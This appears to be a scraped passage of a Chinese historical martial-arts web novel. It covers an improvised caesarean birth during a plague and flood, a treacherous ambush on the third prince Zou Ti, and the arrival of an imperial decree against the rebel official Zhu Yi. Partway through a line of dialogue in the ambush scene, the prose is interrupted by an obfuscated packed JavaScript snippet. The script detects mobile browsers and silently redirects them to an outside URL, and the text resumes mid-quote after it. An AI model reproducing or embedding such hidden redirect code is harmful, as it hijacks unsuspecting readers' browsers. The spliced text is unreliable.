李棋闻言一愣,连连摇头,“不,剖开腹部她会死的。” “师父教过我们剖体疗术的,只要避开要害,她和孩子都不会死。”子瞮死死抓住李棋的手,“而且,你做到过的!十五岁的你能做到,现在的你也一定能做到。” 李棋又是一怔,有些想崩溃甩开他的手,“人和猪怎么能一样!” 但子瞮紧紧抓着没放开,声音也高了些,“再不动手,她和腹中胎儿就都死了,比鲜活的猪还不如。” 李棋沉默着解开衣裳,从腰包里取出一把小而锋利的刀具,正好是十八样,这也是它名字‘十八刀’的由来。 鬼机灵连忙接过摊开,但她却迟迟没能动手。 子瞮深呼吸一口,取出第一把小刀,“好,那我来,保住一人总比两人都死好。” 说话间,他已经动手去解妇人的衣物了。 李棋面前不由得浮现出子瞮和那一大摊血的画面。 十五岁那年,师父找来两头怀孕的母猪给她们练习剖体治疗法。 她侥幸成功了,母猪和小猪都活了下来,但子瞮没把好度,剖口大了些,母猪流了很多血,止都止不住,不等师父动手就断气了。 这套十八刀也是师父在那之后不久传给她。 一时间,血泊中的母猪被面前的妇人替代,她一惊,连忙推开子瞮,从子瞮手里抢过了剖体刀。 “我来。”李棋咬牙让自己冷静下来,“你等着抢救小孩。” 子瞮点头让开位置,“好。” 李棋点了妇人止血的几个穴道,一边给刀消毒,一边对鬼机灵说:“小灵,去准备线和止血补气的汤药,除了你之外,别让其他人再进来。” “好。”鬼机灵立刻起身去准备。 她又补充,“你进入也要用子瞮配制的药酒消杀身上毒气。” 已经跑到门口的鬼机灵又应了声好,开了条小缝挤了出去。 很快,李棋将刀消好毒,用热水仔细清洗过双手,又从腰包中取出一粒药丸给妇人服下,并往她口中塞了一把三七,这才看向她的腹部。 隔着薄薄的皮肤,能看到腹中婴孩无力轻微的挣扎,尽管还不知道什么是死亡,但它似乎也感受到了死亡的气息。 子瞮握住她的手腕,温声但坚定,“开始吧,你能做到的!” 看着子瞮满脸不知从何而来的信任,李棋收到了激励,但还是有些犹豫。 她连着深呼吸好几次,“我能做到!” 最后,一咬牙,缓缓出了手。 妇人被疼得哼哼出声,李棋刚想抬头去看她的情况,就听子瞮说:“别分心,继续。” 李棋又深呼吸一口,这才保持着手腕的平稳,缓缓将剖口又拉开一些。 子瞮则去照料妇人,妇人短暂疼醒,很快又疼晕过去。 他拿过随身携带的银针给妇人扎了几针,缓解她的痛苦。 施完针没多久,便看到一只小脚。 不等他帮忙,李棋已经顺着那只小脚,将一个小小的、皱巴巴的孩子取了出来。 孩子面部紫红,没有任何动静,显然是憋太久,憋晕过去了。 李棋将孩子往子瞮怀中一塞,急忙道:“抱走,务必把孩子救活。” “我会尽力。”子瞮掀起衣摆护住孩子,抱着孩子快步离开。 正好,鬼机灵也拿来缝纫的线。 李棋手上动作不停,另一只手从工具包中抽出针递给鬼机灵,“火烤变色,然后穿上线。” 鬼机灵将针线穿好时,李棋也成功取出胎盘。 她接过针线开始层层缝合。 才缝了没两针,她就满头都是汗水,鬼机灵连忙倾身给她擦去。 如此这般重复了不知道多久,等李棋终于完成缝合,两人都累得快力竭。 但还不能停下,李棋给妇人缠上纱布,又对人做急救,鬼机灵则起身去端来汤药。 沂源将汤药熬好送到了门口,一番急救,汤药都快凉了,妇人才勉强睁开眼皮。 “孩……” 李棋连忙握住她缓缓抬起的手,温声道:“孩子已经取出来了,是个女孩,他们会照顾好她,你先喝药。” 鬼机灵适时将汤药喂到她嘴边。 妇人终于露出笑容,努力张开嘴巴,接下了汤药。 一口没喝下去,她直咳嗽。 李棋连忙给她顺气,让人往上一些靠在自己身上,又对愧疚不已的鬼机灵说:“与你无关,继续喂,一点一点喂。” 鬼机灵勉强笑笑,这次只舀了一点点喂到她嘴边。 才喂了两小口,外面又传来绿意急切的叫喊声。 “公子,纪姑娘,又有人生产!” 闻言,两人都是一惊。 李棋连忙道:“把药放到我手边来,你先去看看,处理不了就把人带回来。” 鬼机灵点头,放下汤药连忙起身出去。 不一会儿,门外又传来沂源的声音,“我来帮忙。” 怀中的妇人又晕了过去,想到师父说过的:刨开血肉最危险的不是过程,还是过后的恢复,若伤口感染,死亡的可能将会翻倍。 李棋连忙拒绝,“不用,人越多,她感染的风险越大,越危险。” 沂源没再出声。 见妇人只用一床被褥裹着,李棋指名道姓喊:“沂源哥,你去拿一套我的衣物,再烧一锅热水吧。她身上的衣物全是血,得换一身。” 沂源应了声,李棋又道:“再去外面找找,被褥最好也找两套来。” 沂源又嗯了声,不多时,他带着衣物和被褥回来,还多带了一件柔软的里衣。 李棋才接进来不多时,沂源又提来一桶温度适合的热水。 等忙活完,李棋累得大喘气,等气息平稳,天地好像安静下来,李棋甚至能听到妇人微弱的呼吸声。 片刻,忍受不了这样寂静的李棋忍不住开口又问:“沂源哥,绿意和青怜回来了吗?” “没。” 李棋一怔,片刻又问:“孩子怎么样了?” “叫了。” “嗯?”李棋一愣,反应过来不由好笑,“叫了,也太言简意赅了。” 她整个人都轻松许多,但想到另一位临盆的妇人,不由又担心。 “沂源哥,你去看看另一位要生产的妇人的情况吧,若纪灵处理不了,就立刻把人带过来。” 沂源应了声好,冒雨飞身离去。 60.辽炀卷·第十五章 15 鬼机灵一边往自己身上泼药酒消毒,一边跑着跟随指引来到了府衙的二层,还没挤进人群,就先听到了婴孩的哭声。 “孩子已经出生了?”鬼机灵高声问,“大人怎么样?” 闻声,用身体组成人墙的女子们当即让出一条路来。 跪在孕妇身前、满手是血的一名老妇人抬起头来,满脸的绝望,声音颤抖着,“血流止不住,您是纪姑娘纪大神医吗?求您快给她治治!” 妇人还醒着,只是很是虚弱,完全说不出话来。 鬼机灵连忙上前先给妇人喂下一颗药丸,又运起内力点过止血的几个穴位,血流很肉眼可见的变得细缓,并逐渐停下来。 离得近看到的人都松了口气,连连称赞神医。 鬼机灵没管,静下心来去摸妇人的脉,又检查一番,这才对众人道:“已经没有性命之忧,等她醒来,你们喂她服用两贴补气血的汤药,平时尽量补足她所需的食物。” 她起身去看孩子,是个男孩,有些瘦小,但面色不错。 她脱下外裳给小孩包裹起来,又仔细检查了一下,才仔细还给旁边的妇人抱着,“很健康,但这几日又下起了雨,尤其要小心照料。” 抱着孩子的妇人连连点头。 鬼机灵又回到刚生产完的妇人身边,“你好好休养,稍后我给你送些滋补下奶的药物和吃食来,钱宅那边也刚刚生下了一个孩子,可能需要你一同喂养。” 一听到钱宅,众人都是一惊,毕竟都怕染上疫病。 但刚生产完的妇人却强撑着起身,虚弱但笑着保证道:“您带来,哪怕只有一口,我也会分一半喂那个小娃。” “谢谢你。”鬼机灵握住她的手,又说,“放心,若那个孩子不幸染上了疫病,我们不会抱过来的。” 妇人点点头。 鬼机灵正欲收回手起身,就察觉到腰间香囊里传出来的异动,她一惊,连忙起身,“我有急事,要离开一趟,你们派一个人去钱宅……” 还没交代完,湿漉漉的沂源从窗户进来。 鬼机灵连忙挤出人群去道他面前,“我刚刚说的话你都听到了吗?” 沂源点头又摇头,鬼机灵连忙言简意赅重复一遍,如此,沂源才点头,并且侧身让出通往窗户的路。 “多谢,这里就交给你了。”尾音未落,鬼机灵已经消失在雨幕中。 众人不解困惑的目光纷纷看向沂源,沂源不想说话,也顺着窗户溜了。 不等她们收拾干净,两贴药包从窗户扔进来,弄得一群人又是怔愣不已。 * 利州堤山上。 五天前,完成各城池的疏水搜救事宜后,邹瑅便带着大量兵士来到利州堤,挖渠疏水,避免再次下雨导致河水暴涨,再淹没了城池。 结束一天辛苦的挖渠劳动,吃过晚饭后,邹瑅回到自己的营中,照例从枕头底下拿出磨了好几天的一个圆玉环。 说是圆玉环,其实已经能看见手镯的雏形了。 玉质细腻清透,好似春雨后、山林上方的天空,在邹瑅黝黑粗糙的双手的衬托下,尤为细腻珍贵。 镯心中间还缠绕着金、绿两抹鲜艳颜色,像鸟又像龙,似缠绵又似酣战。 这是被邹瑅救下的一位玉石商人送来的,邹瑅从没收过任何谢礼,却被其玉质和其中两抹亮色深深吸引。 他瞬间想到了纪灵,又想到纪灵还送了他一个香囊,于是便买了下来,打算当做还礼送给纪灵。 还处于灾祸中,一时找不到好的工匠打磨,他便从玉石商人那里一并买来了工具。 每日睡前磨一会儿,再一想到纪姑娘收到时可能会出现的惊喜表情,他只感觉一天的疲惫都消失了。 邹瑅一边细致的打磨,一边幻想着纪灵看到这个手镯时的神情。 欢喜、惊喜、震惊、受宠若惊……邹瑅想了很多,却都觉得不对味,但脸上的笑容却没少分毫。 突然,帐帘被人掀开,邹瑅一惊,急忙起身并下意识将玉镯塞到怀中。 不等他问,就听急匆匆赶来的朱轶焦急道:“不好了殿下!怀鹤堤被暴雨冲垮了,大量积水涌入怀鹤乡,城中已经被淹没,守城的府兵都被冲走不少。” “什么!怎么不早点来报?”邹瑅骂着,佩剑都没拿,就冲了出去。 他走得太急,完全没注意朱轶一闪而过的得逞笑意。 刚冲出营帐,杜英亮和几个人从树上跳下来,“殿下,您一人去救不了多少人,当务之急是集结兵士一同前往。” “这个点几乎都睡了,等全部集结太慢了。”邹瑅一边往马棚走,一边对跟着的朱轶说,“你速速派人去集结兵士,我带二百龙武军先往,你随后立刻带兵前来救援。” 朱轶连忙应好,拖着肥胖的身体和几个随从转身去实行。 邹瑅又取下身份令牌丢给杜英亮,“派人传令给张乔,让他盯紧朱轶,朱轶若敢搞幺蛾子,立刻将其捉拿,而后带兵来怀鹤乡救人。” 杜英亮立刻吩咐下去,才吩咐好,就见邹瑅已经骑上了马,杜英亮和手下人也只得去寻马匹和蓑衣。 杜英亮将寻来的蓑衣和斗笠给邹瑅穿戴上,又去集结人马。 很快,邹瑅带着两百龙武军和杜英亮等人先骑马赶往怀鹤乡。 * 目送邹瑅和两百龙武军远去,朱轶当即放慢了速度。 一千二百名神武军早早集结,只待一声令下。 地方府兵拖拖拉拉,半天没能集结好。 神武军的将领张乔实在受不了了,当即带着两个副将找到朱轶,“朱城尉,神武军已经集结完毕,何时才出发?” 朱轶在张乔面前远没有在邹瑅面前阿谀奉承,他缕缕胡子,“我正要去找张将军呢。” 不等张乔说什么,他又说:“我在想,有灾民就需要粮食药物,张将军来得正好,就由你带着这一千二百名神武军去利州粮仓取吧。” “一千二百人都去?”张乔只觉不可思议,连忙又说,“当下救人要紧,有两百人去运粮足矣……” 话音未落,朱轶拿出一块身份金牌,“张将军,你要违抗殿下的命令不成?” “殿下的身份令牌!怎么在你这?”张乔说着就要抢过来,但被朱轶笑着躲开了。 “诶,张将军这是何意?殿下说了:”朱轶一副小人得意的模样,模仿着邹瑅的口吻说,“让张乔速带一千二百名神武军前往利州粮仓运粮,若有不从者,当场斩首勿议。” 张乔瞬间没了精气神,全靠两个副将在身后支撑着他。 他们虽不相信邹瑅会下这样的命令,但朱轶手中的身份金牌如假包换。 张乔只恨自己今夜睡得太早,没能在邹瑅带兵离开前见到邹瑅一面。 两个副将连忙劝张乔冷静,军令如山,不得不从云云。 见张乔不得不接受了,朱轶催促道:“张将军,速速带兵出发吧!” 张乔虎目狠狠瞪朱轶一眼,这才转身恶狠狠离去。 一千二百名神武军很快离开营地,去往和怀鹤乡截然相反的利州粮仓。 朱轶身边的师爷恭维笑道:“大人料事如神,今夜定能心想事成。” 其余人也跟着七嘴八舌恭维。 朱轶笑着听够了,才说:“按计划行事,派两百府兵跟上神武军,他们若是掉头,先以三皇子的名义与之周旋,拖延的时间越长越好。” 当即有人应声然后转身去实行。 朱轶又道:“其余人随我前往怀鹤乡。” 众人起身应是,很快,整座营寨中只剩下百余人不到。 远处密林中传来的些许动静也就无人注意知晓。 * 密林深处一个山洞里,王安听浑身湿透的探查兵说完,立刻来到邹杲身边,小声道:“王爷,朱轶动手了。” 邹杲嗯了声,朝王安伸出手,“扶我起来。” 手上传来的温度烫得惊人,邹杲脸上更是惨白得吓人。 “王爷,您就在此处等候,小人带皇上旨意亲往即可。” 邹杲摇头,收回手说,“你非军中人,他们不会轻易信你,我的身体我自己清楚,即刻出发。” 说着,大步往洞口走去。 见状,王安只能上前扶着他往前走,忍不住又劝道:“那至少穿上蓑衣吧,王爷!” 邹杲再次摇头,“雨水对此刻的我来说反而有利,戴上斗笠护着头脑即可。” 说话间,也走到马匹面前,邹杲拿过千赤身上挂着的斗笠戴上,在王安的搀扶下上了马。 他勒马看向山洞前的五十来人,“天下第一阁能不能得到陛下的认可,就靠今夜了,为了父母妻小,众弟兄,随我出发!” “出发!” 众人齐声高呼,策马紧跟在邹杲左右,朝利州城的方向追去。 * 一千二百神武军只有百余匹马,在张乔的有意为之之下,行进的速度更慢。 很快,林副将来报,“将军,三里外有至少两百府兵跟随。” 另一名周副将闻言当即苦口婆心劝道:“将军,掉头回去吧,殿下向来以人命为重,如此危难时刻,他定不可能让一千二百名神武军全部去运粮。” 林副将面色为难,“可朱轶手中有殿下的身份令牌,我仔细看过,上面的划痕都一样,绝非造假。” 周副将还要再说,张乔突然抬手打断两人,身后众兵士也停下了脚步。 只见他一双虎目突然看向左边黑幽幽的树林,凶狠骇人,腰间成武帝亲赐的佩剑也被他缓缓拔出。 周副将也听到了,小声道:“有动静,是马蹄声,不过百人。将军,末将愿带一百人将其揪出。” 张乔满脸凶狠,“不必,等他们出来。” 他又说:“他们最好有这个胆量,别让我等太久。” 林副将纳闷,“此处地势平坦,虽左边有大片树林,却绝非设伏的好地方,怎么会在此处设伏,朱轶到底想做什么?” 不等两人再说什么,数道黑影以极快的速度从树林中冲出,直奔他们而来。 “将军小心!”两位副将大惊,连忙驾马上前一左一右护在张乔身后。 张乔巍然不动,数到黑影很快来到眼前,张乔正欲下令攻击,就见为首的人距离在他们两丈远的位置勒住了马。 来人掀开头上的斗笠,露出一张神武军中无人不识的英俊脸庞来。 邹杲笑道:“张将军,许久不见,近来如何。” 张乔又惊又喜,连忙越过两位副将上前,他身下的马儿绕着千赤撒欢,亦如张乔本人。 “大将军……”张乔热泪盈眶环视了邹杲许久,才吐出一句,“你怎么瘦了这么多,陛下他……” 邹杲眼眶一酸,差点没维持住云淡风轻的笑意,这种真切的关心最容易让人变得矫情软弱。 他笑着摇摇头,“和义父无关。” 从邹杲口中听到‘义父’二字,张乔心中安稳一些。 不等他再问什么,邹杲拿出怀中成武帝传来的密旨递给张乔,“怀鹤乡发大水是假,朱轶设伏欲杀三殿下是真。张乔与神武军一千二百名将士听令,即刻同本王救援三殿下,并清剿逆贼朱轶极其党羽!” 还未打开密旨查看,张乔便先出声应道,“末将听令!誓死救出三殿下,清剿逆贼朱轶!” 众兵士齐声应和。 张乔连忙对两名副将吩咐,喊二人传令下去,立刻掉头。一千二百人不是小数目,光靠他一嗓子不可能让所有人听到。 趁大军掉头的间隙,张乔不由担心道:“不知陛下这密旨是何时传到大将军手中的。敢对三殿下出手,朱轶背后之人恐怕是要反啊!” 闻声,邹杲顿了顿,成武帝先后给他写了两封密信。 第一封,是决定派邹瑅前往利州治水的当夜写的,一是关心他的身体,二是让他在暗处多多留意邹瑅。 第二封则是郓城城尉的密信送达的第二日发出来的,号令神武军的密旨也在其中。 思及此,邹杲看向张乔道:“陛下早有预料与防备,否则我今日也不会带着密旨来此。” 张乔一听也是,这时,副将来报,可以出发了。 “大将军,朱轶派了二百府兵跟随,末将先率一百骑兵在前开路,你带着大部队慢行。” 邹杲点头,看向身后他带来的五十余人,“他们随你同往。” 事不宜迟,张乔一应声,当即带着一百五十骑冲了出去。 不等朱轶派来的府兵说什么,先被神武军打得乱了阵脚,四散而去,根本没起到拖延时间的作用。 得知邹瑅的身份令牌不在他们手中,朱轶留下五十人打扫战场,立刻又带着大部队往怀鹤乡赶。 * 雨越下越大,月亮完全被厚重的云彩挡住。 行到必经之路的一处峡谷,马儿都慢了下来。 杜英亮和龙武军校尉余衡的眼皮都直跳,直觉不妙。 两人先后开口劝道:“殿下,前方峡谷道,若两边有人埋伏,我方纵使天兵下凡,也难逃一劫。” 杜英亮附和道:“殿下,容小人先带人前往试探,若无伏兵,殿下再率大队兵马通过。” 邹瑅焦心怀鹤乡的情况,但也知道大局为重,于是叹气答应了。 杜英亮得令,当即让手下几个兄弟骑马先往,余衡又喊几名龙武军弃马爬到两边山顶上查看。 随着人马的身影隐匿在黑暗中,众人的心都提了起来。 不多时,探路的兵马去而复返。 “殿下,地面未见埋伏!殿下,地面未见埋伏!” “好!”邹瑅大喜,当即就要发令继续前进,却听余衡劝道,“殿下,去往山上探路的兵士还未回来。” 邹瑅再也没耐心等,当即道:“分两批,我带一百人先往,若遭遇埋伏,你立刻救援,若无埋伏,你带另一百人跟上也不算迟。” 余衡还想再劝,但也知道再劝只会惹邹瑅不悦,“殿下,还是由末将带一百人先行吧。” 邹瑅知晓余衡救人干活时有多卖命,片刻的思考就同意了,“好,那你万事小心。” 余衡点头应好,又说:“若却又埋伏,殿下不必相救,先回营搬救兵,怀鹤乡万余条人命更要紧。” 邹瑅沉重拍拍他的肩膀,策马靠边,让出道路。 余衡高喝一声,带着一半人马先冲进峡谷之中。 末尾的人马才隐如黑暗之中,就听道两边山上传来呼喝声,很快,峡谷中惨叫声和马鸣声传来。 邹瑅和杜英亮都是一惊,杜英亮比起邹瑅,还多了一分庆幸。 杜英亮当即道:“殿下,我们速速回去调集援兵吧!” 邹瑅摇头,还未发令,身后两边的树林中涌出不少人。 只听有人高声喊道:“杀啊!杀一人得十金,杀十人得百金,杀领头的得万金,富贵在此一举,兄弟们冲啊!” 来人乌压压的,数量不少。 这一下,别说普通兵士,连杜英亮都是一惊。 哪来这么多人手,这是不杀了邹瑅绝不甘心,朱轶哪来的这么大的胆子! 邹瑅也是震惊不已,但他历经沙场,很快沉声道:“两队汇合冲过峡谷,方有一线生机,随我冲!” 说罢,他先一步挥鞭斥马冲进峡谷之中。 众龙武军立刻应召,策马加速跟上。 峡谷两边若干暗箭射出,杜英亮几人分散在邹瑅四周,替他截去飞箭。 很快,便遇上带兵往回冲的余衡。 不等余衡震惊担心,邹瑅想说:“后方有至少三百追兵,前方定然也有拦截,但应该会少一些,率众通我杀出一条生路!” 邹瑅这的确算反其道而行之,但后追兵前有拦堵的,怎么都免不了一场厮杀,自然是人多更好。 余衡等人当即响应,勒马转身,同邹瑅一齐往峡谷的另一头冲去。 暗箭一直未停,痛呼声不绝于耳,不时有人落马,但大部队策马不停,很快,视野变得开阔。 果不其然这边也有伏兵,还未完全走出峡谷,几条粗粝的拦路绳先拦住冲在前面的人的马匹,不少人从马上摔落,不等他们起身,就有人冲出来补刀,一时惨叫连连。 邹瑅等人在队伍中段,马匹未受到影响。 “冲!”邹瑅当即带兵前往救援。 很快,两拨人厮杀起来。 拦截的只有百余人,对上训练有素的龙武军,哪怕是战损后的,也很快败下阵来。 邹瑅带着百余人冲了出去。 不多时,追兵就追了上来,他们手中有弩机,一边策马追,一边不间断发射弩箭。 后方又有不少人中招,邹瑅听着别提多心痛,但也只能加速往前冲。 没多久,他就看到横在前方路上的几块大石头和几根粗壮的树干。 这边的地形邹瑅有印象,两边是茂盛的草丛,外侧草丛之外,就是高耸的落崖,下方是水流湍急的河流,再往下十里就是怀鹤堤。 在马撞上拦路障的前一刻,邹瑅连忙勒马,高声喊道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836978|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “前方有遮挡,左边是落崖,走右边!我先探路” 余衡补充又喊道:“草丛中多半有陷阱,提高警惕,发现不对立刻弃马。” 说着,追上杜英亮,同邹瑅骑马闯进右边的草丛。 果然,草丛中有不少尖木刺,邹瑅的马儿前蹄被刺穿,嘶鸣着扑趴而下,邹瑅直接被抛飞了出去。 幸好邹瑅早有准备,且轻功和夜视能力都不错,稳稳避开陷阱借力回到路中间。 草丛后面的树丛中果然还有伏兵,嘶吼着冲出来。 他们被包围了。 杜英亮当即英勇道:“我断后,余校尉速带殿下攀过路障撤退!” 余衡朝杜英亮抱拳,而后抓住邹瑅就要带他走。 却见邹瑅边走出人群,边脱去身上的斗笠蓑衣,对追兵喊道:“你们可知道你们要杀的人是谁?” 两面的追兵都顿住了,邹瑅当即又道:“我乃当朝三皇子邹瑅,还是本次利州涝灾的安抚司尉。” “我听到了,杀我可得一万金,但你们有没有想过,这一万金,你们有命拿,有没有命花?杀害皇嗣和朝廷命官,可都是诛九族的重罪!让你们来杀我人告诉过你们这些律法吗?” 这一下,所有人都停下了脚步。 追兵中有人喊道:“事已至此,杀人灭口才有活路,杀!” 部分人一听也是,立刻跟随着上前。 却听邹瑅又道:“我观你等衣着,皆为麻布衣衫,定是迫于生计、遭人蛊惑,迷途知返,为时不晚。” 余衡当即应声,“三殿下最为仁善,别说如今你等皆为我大嬴子民,就算是早几年,你等都是敌国兵士,只要听降,殿下都会优待,我龙武军营中就有不少受殿下恩德的敌国兵士。” 此话一出,当即有人用利州地方口音自报家门,告诉众人他的经历。 这样的人还不止一个。 刚燃起杀意的众人又动摇了。 眼见有机会,邹瑅正要加大力度劝说,突然,一只利箭划破黑夜,朝邹瑅射来。 杜英亮最先察觉,快步上前拉开邹瑅,却不幸肩膀中箭。 “今夜过后,天下就是二皇子的天下了,听我号令者皆有从龙之功,不听号令者格杀勿论!” 是朱轶的声音,此话一出,众人不响应也得响应了。 “朱轶!”邹瑅愤怒的话没说完,朱轶一声令下,弓弩上膛,等待他们的将是万箭齐发。 比起被他们杀死凌辱尸体,邹瑅宁愿跳进河水之中,说不定还有一线生机。 “不想死后被凌辱的随我跳下去,或许还有一线生机!” 邹瑅说罢,带着杜英亮一跃跳下了下去。 余衡紧随其后,还活着的龙武军个个宁死不屈,一个接着一个,都跟随着跳入了湍急的河流之中,很快不见了身影。 这样的忠毅,别说朱轶带来的众人,就是朱轶本人也没想到。 藏在右边树林中的朱兴贤来到朱轶面前,愣愣问:“爹,现在怎么办?” 朱轶也是一个头两个大,“还能怎么办,去下游打捞,活要见人、死要见尸。” 朱兴贤却弱弱反驳道:“爹你不是说今日之后就是二皇子的天下了吗,邹瑅就算侥幸活着,也翻不起什么风浪,我等其实不必去追。” 还不等朱轶骂他,后方传来慌乱声与惨叫声。 “朱轶叛贼,你还束手就擒,放了三殿下!” 是张乔雄浑的吼声,朱兴贤一惊,直接从马背上滚了下去。 朱轶也是吓了一大跳,见儿子被吓得落马,慌乱的同时又气血上涌。 他想过张乔察觉不对会追上来,却没想到张乔来得这样快。 但想到邹瑅已经跳入湍流之中,十有八九已经溺毙,瞬间又有了底气。 “叛贼又如何?”朱轶哈哈大笑,“邹瑅已死,这天下已经是二殿下的天下,我有从龙之功,你今夜敢杀我,二殿下登基之后第一个杀的就是你!” 张乔大惊,邹杲也是一愣,若非中间还有朱轶从临近城池调来的府兵,两人都恨不得冲到朱轶面前一看究竟。 张乔冷静下来,厉声问:“胡说八道,三殿下现在何处?” “死了,先中了我三箭,又跌落到这陡崖之下,他纵使是玄鸟祖龙转世,也活不了了哈哈哈哈——” 朱轶又反过来劝张乔,“张将军,迷途知返,为时不晚,我愿将你引荐给二殿下,你我一文一武,正好做二殿下的左膀右臂,如何啊?” 朱轶气急,邹杲也不再藏匿。 他抬起头来,露出斗笠遮掩着的面容,“朱轶,看来本王给你的那些忠告,你是一句也没记住啊!” 话音刚落,突然电闪雷鸣,邹杲惨白的脸色像索命的厉鬼一样,吓得朱轶浑身哆嗦。 不等他狡辩什么,邹杲拔高声音又道:“张将军,还愣着做什么,速速宣读陛下圣旨,而后清剿逆贼。” 张乔咳嗽两声,清了清嗓子,这才打开怀中的密旨当众高声宣读:“传陛下旨意,众府兵不得擅动刀戈,违者夷三族。” “利州郡郡守兼领利州城城尉朱轶,贪渎暴虐、玩忽职守,朕素有所闻。今利州逢大水、疫病肆虐,不思辅佐安抚司尉、三皇子邹瑅勤治水患,以图悔过,又结党营私、私调地方府兵,残害朕之臣、子,此獠不诛,朕怒不平、天理难容!敕令常胜王邹杲、神武军骁勇将军张乔,速整部曲,发兵讨伐。务擒元凶,押往鄂阳。胁从者,能自归者免罪。其速荡涤奸秽,安靖地方!” 张乔念完,生怕府兵们听不懂,连忙又补充,“陛下圣恩,尔等府兵皆为胁从者,能放下兵刃归降者,全部免罪,可酌情官复原职。” 话音落下,张乔身后黑压压的神武军适时以手中兵戈震地,威慑十足。 这一下,别说被从别地被不明不白调过来的府兵,就连不少官员都想归降。 朱轶人傻了,但知道事到如今自己只有死路一条。 他一咬牙,决定一条路走到黑,欲厮杀出去等二皇子救他。 对于负隅顽抗的朱轶及百余号人,张乔根本没当回事,只让两名副将带骑兵将其击杀。 后方,张乔看向咳嗽不止的邹杲,担心道:“大将军,你没事吧?” 邹杲摇摇头,缓过来才说:“我有要事需先行一步,我已经提前命人在怀鹤堤附近等候接应,以防万一,你现在立刻亲自带兵前往,务必确保三殿下无碍。” 坚持着把话说完,邹杲又剧烈咳嗽起来,还吐出了两大口乌黑的鲜血。 邹杲摇摇欲坠,张乔大惊,连忙飞身下马接住他。 “大将军!” “王爷!”王安也被吓得不轻。 邹杲紧紧抓住张乔的手腕,口齿间挤出三个字,“救殿下。” 隐约间,他看到一匹黑马以极快的速度朝他奔来,好像是玄翼,可是玄翼不是随小棋儿留在了金曲楼,怎么会出现在这里。 不等他看清楚那匹黑马是不是玄翼,他手一松,彻底晕死过去。 “大将军!”张乔眼眶都红了。 张乔今年四十有余,邹杲甚至比他长子还小一岁,但从张乔对邹杲的称呼足以见得他有多认可尊重邹杲。 神武军中很多人都受到过邹杲的恩惠,甚至不少是因为邹杲而得以活命至今。 突然闯过来的黑马让张乔大惊,还以为是马儿受惊,要伤人,拔出剑就要朝马儿掷出去。 王安一惊,和千赤前后出声,“张将军,不可,这是王爷心爱之人的坐骑。” 张乔闻声大惊,连忙侧身避开,玄翼趁机来到千赤身边,绕着千赤撒欢,显然很快乐,小灵狐也从它身上跳到邹杲身上。 很快一马一狐都察觉到邹杲的异常,都安静下来,低落候在旁边。 看着还不愿离去、又朝他们走来的张乔,王安连忙出声劝道:“张将军,王爷有小人照顾,浩然山庄的寒泉水能压制王爷体内的火毒,您速按王爷意愿,去接应三皇子殿下,小人也这就带王爷去浩然山庄。” 一说这,两个大老爷们的眼泪又有些憋不住。 但张乔很快抹去眼中热泪,死死攥住王安的手臂,是恳求,也是威胁,“你务必照顾好大将军!” “小人这第条命是王爷给的,小人虽身份卑微,对王爷的关切却不比将军少分毫。” 说着,他将邹杲抱上千赤的马背,趁张乔帮忙扶着邹杲,自己连忙也爬上去,并扯下衣物将邹杲紧紧捆在身后。 张乔送王安等人带着邹杲离开,立刻带人前往怀鹤堤寻找邹瑅。 61.辽炀卷·第十六章 16 水流太过湍急,邹瑅等人被冲出去好远,才凭借着身上的蓑衣稳住身形。 杜英亮中了一箭,虽然不致命,但被冰寒的流水冲刷着,他血流不止,很快便力竭。 幸好邹瑅死死抱住他,他才没被流水冲击得晕过去。 “殿下,放开小人吧,”杜英亮对越发吃力的邹瑅道。 邹瑅不管他,双臂将他箍得更紧。 杜英亮却挣扎着去解身上的蓑衣,“殿下,带着小人您坚持不了……” 话没说完,一大股水流冲来,两人被打得没入水中,喝了好几口水。 前方有人大喊,“前面是断崖、啊——” 惨叫声四起,不等杜英亮再劝,两人都被水流推到断崖边上。 水流太深、双脚沾不到地面,所有人都没有挣扎的余力。 下坠的瞬间,邹瑅只本能翻身垫在杜英亮身下。 杜英亮看不清,只听一声痛哼,而后邹瑅没了动静,紧紧抱着他的力道也松了。 杜英亮伸出手,还没能抓到邹瑅,只觉肩膀处的箭矢被搅动,痛得他也晕了过去。 湍急的河水中,漂浮着不少不知是死是活的人。 等鬼机灵避开下方的伏兵赶到的时候,看到的就是这样的场景。 在蛊虫的指引下,他很快找到昏死的邹瑅,并施展轻功将邹瑅救到岸上。 他本不想管河面上漂浮的其他人,但想到怀鹤堤埋伏着的若干人,又于心不忍。 于是,他放下邹瑅,紧接着施展轻功,在湍急的流水中抢人。 水流太急,他从一开始的一个个送回,到后面,直接踩着后人的身体将前人甩到岸上。 就算是如此,还是有人拐过了河道,顺着水流去到下方伏兵的视野中。 他顾不得再救他们,连忙回到邹瑅身边。 邹瑅后脑勺被撞破了,血流不止,鬼机灵刚撕下他的衣摆给他包上,便听到下游传来说话声,看到越来越近的点点火光。 他大惊,连忙扛起邹瑅。 想了想,临走前,又来到其中最为强壮的青年人面前,连着两脚跺在青年人的胸腹。 青年人很快转醒,吐出几口水来。 见状,鬼机灵不再停留,扛着邹瑅施展轻功闪身进入丛林之中,很快不见了身影。 余衡吐出胸腹中的积水后很快醒过来,他循着那道黑影远去的方向看去,却什么也没看到。 再一看附近横七竖八躺满了兵士,又觉庆幸。 他踉跄起身,挨个寻找邹瑅,“殿下!殿下!” 越找他心中越凉,都不是邹瑅。 想到那道黑影,他拔腿就想往丛林中追去,还没跑出去几步,却听到下游传来的声响。 他大惊,只当是伏兵,连忙又倒回去,低声招呼已经醒过来的兄弟带着没醒的藏入丛中。 才藏起来,那些人也来到附近,他们穿着统一的褐色布衣。 有一人诧异道:“奇了怪了,再往上就是落崖了,难道落崖上方还有伏兵?人不会都被生擒了吧!” 他正惊慌间,又有人喊:“老大,来这里看,好像有人在这里上岸。” 说着,众人的视线就看向了余衡他们藏身的丛林。 为首的人拦住要直接上前的人,高声喊道:“三皇子殿下!你们在里面吗?” 余衡等人心都悬到了嗓子眼,哪里敢回答。 